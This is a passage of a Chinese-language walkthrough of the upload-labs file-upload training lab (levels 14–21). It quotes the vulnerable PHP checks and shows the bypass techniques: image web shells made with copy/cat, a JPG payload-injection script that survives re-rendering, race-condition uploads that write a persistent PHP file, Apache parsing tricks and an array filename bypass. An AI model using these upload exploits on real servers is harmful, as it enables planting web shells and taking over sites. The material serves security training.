$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);

if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

getReailFileType()用于检测文件头部两个字节的信息(前两个字节是文件格式的标识),并且通过二进制码判断其文件的类型,然后控制文件的上传。

在本地进行测试,随便选用一张1.jpg图片,模拟其解析过程

image-20231019142708682

在对前两个字节进行unpack之后,得到一个数组,该数组存储的是jpg文件签两个字节分别对应的二进制码,再通过intval函数进行组合

image-20231019142757392

解题思路

由于其要检测前两个字节的信息,所以不能简单的通过直接修改后缀进行上传。需要制作图片马,采用图片与木马合并的方法,将一张图片1.jpg与木马info.php组成info.jpg文件

windows下通过cmd命令进行制作

1
copy 1.jpg /b + 1.php /a shell.jpg   

mac下使用下面命令

1
cat info.php >> 1.jpg

image-20231019145241191

1.jpg重新制作成功后,我们将其上传。但是由于图片不能解析为php代码来执行。若有文件包含漏洞,则可以通过文件包含漏洞进行解析。正好由于题目说了存在文件包含漏洞,我们通过文件包含漏洞进行。该文件包含解码通过get传参,我们复制图片地址,链接到文件包含界面,然后访问。

image-20231019145212790

出现如下界面,则说明成功

image-20231019145039314

Pass-15 图片马2(文件包含)

函数分析

1
2
3
4
5
6
7
8
9
array getimagesize ( string $filename [, array &$imageinfo ] ) 
//函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
返回的数组中:
索引 0 给出的是图像宽度的像素值
索引 1 给出的是图像高度的像素值
索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM

string image_type_to_extension ( int $imagetype [, bool $include_dot = TRUE ] )
//根据给定的常量 IMAGETYPE_XXX 返回后缀名。

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

定义了一个isImage的函数,其通过getimagesizeimage_type_to_extension函数的返回值判断其文件类型是否符合要求,然后控制文件的上传

解题思路

本关与上一关类似,只是判断文件的函数方法略有区别,也可以通过图片马进行访问。

然后打开文件包含界面,将上传的图片马的路径链接到尾部

如下即可成功

image-20231019150606415

Pass-16 图片马3 (文件包含)

函数分析

1
exif_imagetype()  //读取一个图像的第一个字节并检查其签名。        

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

根据要求首先开启php_exif模块,这关和之前两个也类似,仅仅是使用函数变化,原理相同,用之前的图片马上传+文件包含漏洞即可利用

解题思路

image-20231019151134505

Pass-17 二次渲染绕过

函数分析

1
2
3
4
5
basename(path,suffix) 		//函数返回路径中的文件名部分
imagecreatefromjpeg() //创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagejpeg() //从给定的创建一个JPEGimage文件
unlink(filename,context) // 函数删除文件
strval() //函数用于获取变量的字符串值。

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

代码先通过检查上传文件的后缀,$im=imagecreatefrompng()语句将上传的图片传给$im作为一个图片标志符,再经过srand函数重新命名后,经过imagejpeg函数将$im的图像保存到指定路径处。相当于对文件的图像部分进行了重新保存的操作,把我们上传的原文件删除。

解题思路

我们先带着疑问,上传一个图片马的gif文件进行尝试。(这里使用gif文件比jpg和png文件更加简单,原因请见下面的一个参考文章),经过文件包含利用后,得到的结果全为乱码,并不是phpinfo()的界面。

image-20231019151134505

我们使用winhex对上传前后的文件进行对比查看。(上传后的文件直接另存图像即可)。

我们发现其上传前后文件内部编码发生了变化。

image-20231019151134505

image-20231019151134505

仔细对比后,找到文件前后内部编码没有改变的部分,然后我们在上传前文件中没有改变部分中加入代码

1
<?php phpinfo ; ?>

image-20231019151134505

然后重新上传即可

方法二

参考国外大神的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171

<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=phpinfo();?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

首先必须先上传一个随意的jpg文件,然后将其保存为2.jpg后执行脚本。

image-20231019160342056

1
php jpg_payload.php 2.jpg

image-20231019160439668

成功后上传生成的payload.jpg文件

image-20231019160331531

配合文件包含漏洞利用即可

image-20231019160523890

Pass-18 条件竞争

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

代码处理流程

  • 移动文件到指定路径
  • 判断文件后缀是否符合
  • 符合则重命名
  • 不符合则删除文件

这里存在逻辑的问题,先移动文件到指定目录再判断是否符合并删除。服务器处理代码时总会存在一定的时间差,当我们在上传文件后就多次快速尝试访问目标文件,那么是不是有机会在删除前成功访问文件。而如果文件的代码是重新创建一个木马文件,新木马文件则永远不会被删除了!

解题思路

创建一个新木马文件creat.php,用于执行时则创建一个info1.php文件

1
2
3
4
<?php 
$f = fopen("info1.php","w");
fputs($f,"<?php phpinfo();?>");
?>

上传creat.php并抓包,发送到intruder模块,不用设置变量,直接设置payload即可

image-20231019192146422

次数设置高一点,我随便设置的1200。同样的流程,抓访问create.php的请求包,文件的路径为

ip/upload/upload-labs-master/upload/create.php同样发送到intruder模块中进行设置

image-20231019192400260

当两个包都设置好后,开始爆破即可。

image-20231019191854420

观察访问目标文件的包响应码是否有200的情况产生,这里发现成功了一次,看看内容,提示貌似没有创建的权限

image-20231019191838822

image-20231019191737672

到机器的upload目录中修改文件的读写权限,重新爆破即可

image-20231019191704479

第二次一发入魂,如果没有成功可以多试几次

image-20231019193943100

image-20231019194015677

Pass-19 条件竞争+apache解析漏洞

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}

//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, we are ready to move the file to destination

$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, everything worked as planned :)

return $this->resultUpload( "SUCCESS" );

}
......
......
......
};

这关我看网上很多文章写的很笼统,不太细节,这里我们手动根据代码来看一下,分析一下逻辑。在index.php中,首先new了一个MyUpload类,传入了上传的文件名,临时名,文件大小,随机time名(这个随机time和文件最终名字有关)。

image-20231020141453655

然后传入UPLOAD_PATH给upload函数(也就是吧../upload传入),那么我们得看看类里面的代码才知道具体发生了什么。

对类初始化的时候调用Myupload函数,传入对应参数赋值

image-20231020143702715

进到类里面看

在upload函数中,是先进行文件路径、后缀、大小判断,然后文件移动、重命名。这里就出现很经典的逻辑问题了,先移动再重命令,就可以利用条件竞争对其进行访问。

image-20231020143909477

可是问题出现了,其对文件上传后缀进行了检验,只能白名单上传

image-20231020144302779

这里就要配合到apache的解析漏洞,在apache版本符合条件下,对mime.types中没有涉及的文件后缀不会解析,查看httpd.conf文件下的mime.types,没有发现7z后缀,说明不会解析7z文件

image-20231020150126466

比如test.php.7z这个文件,apache的解析是从后往前,当7z不能解析时,其向前解析一直到可以解析的后缀为止,所以将test.php.7z当作test.php执行。但是文件后缀上传后还是test.php.7z全称吗?看看代码,经过rename之后,文件名被修改为upload+time()函数的值+最后一个小数点后的后缀名,即变成了upload+time.7z这样,没有php了我们如何利用?

image-20231020145101661

image-20231020144712997

这里就需要配合刚才说的条件竞争漏洞了,在rename之前是move操作,move后的极短时间内是没有rename的,我们通过频发发包访问达到目的。这里需要提一下,这关的文件上传目录不是在upload目录下,应该是作者不小心忽略的原因,所以会导致文件名中有个upload,但是不影响做题,如果想修改为upload目录下,则需要在rename函数中添加/即可,下方解题是没有修改的版本。

image-20231020145635558

image-20231020145706689

解题思路

test.php.7z文件内容如下

1
2
3
4
<?php 
$f = fopen("info1.php","w");
fputs($f,"<?php phpinfo();?>");
?>

两次抓包,一次为文件上传包,一个为请求路径的包

image-20231020145807740

image-20231020145757863

发送到爆破模块,设置为null payloads进行多次爆破

image-20231020145906676

直到访问成功,目录下出现info1.php即可成功。我这里apache为2.4版本,不能利用,所以就没有成功截图。

Pass-20 大小写绕过

函数分析

基本函数,不过多分析

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

解题思路

直接上传一个info.phP文件,然后再修改上传名称即可成功上传。

Pass-21 数组绕过

函数分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
empty()   		 //函数用于检查一个变量是否为空。
explode(separator,string,limit) //函数把字符串打散为数组。
separator 必需。规定在哪里分割字符串。
string 必需。要分割的字符串。
limit 可选。规定所返回的数组元素的数目。

可能的值:

大于 0 - 返回包含最多 limit 个元素的数组
小于 0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组
0 - 返回包含一个元素的数组

strtolower() //把所有字符转换为小写:
count() //计算数组中的单元数目,或对象中的属性个数
end() //函数将内部指针指向数组中的最后一个元素,并输出。
reset() //输出数组中的当前元素和下一个元素的值,然后把数组的内部指针重置到数组中的第一个元素:

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file); //文件后缀
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}

挨个分析,如果save_name为空,则把$_FILES['upload_file']['name']赋值给$file,反之$_POST['save_name']赋值给$file

1
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];

接下来如果$file不是数组,则将其处理为数组,通过.符号将其分割 [ “muma.php”,””,”jpg”]

1
2
3
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

下面通过end()函数获得$file中的最后一个元素,赋值给$ext,并进行后缀校验。感觉这里应该有名堂

1
2
3
4
5
 $ext = end($file);   //文件后缀
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}

后缀符合,则拼接文件名为首元素.尾元素 reset()获取数组首元素

1
2
3
4
5
6
7
8
9
10
11
else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}

解题思路

首先我们肯定要绕过对非数组进行分割处,不然直接被卡死了。如果我们传入的数组为save_name=["muma.php","jpg"],这样可以绕过后缀检测,但是一直到命名处$file[count($file) - 1]对应的是”jpg”,那么最终文件命名为muma.php.jpg这种情况。我们需要的是muma.php,可以试着将数组传为save_name=["muma.php",不设置,"jpg"],当我们save_name[1]不设置的时候,count结果仍然是2,但是文件名后缀拼接出来为空,结果为muma.php. 再根据windows特性将.省略,达到文件上传的目的

image-20231020153645148

image-20231020154745503

image-20231020154826420

参考文章

https://tatsumaki.cn/2020/07/29/00jieduan/

https://xz.aliyun.com/t/2657#toc-13

https://corp0ra1.cn/2019/05/14/%5Bold%5D%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E4%B9%8BGD/

https://uuzdaisuki.com/2018/05/01/%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/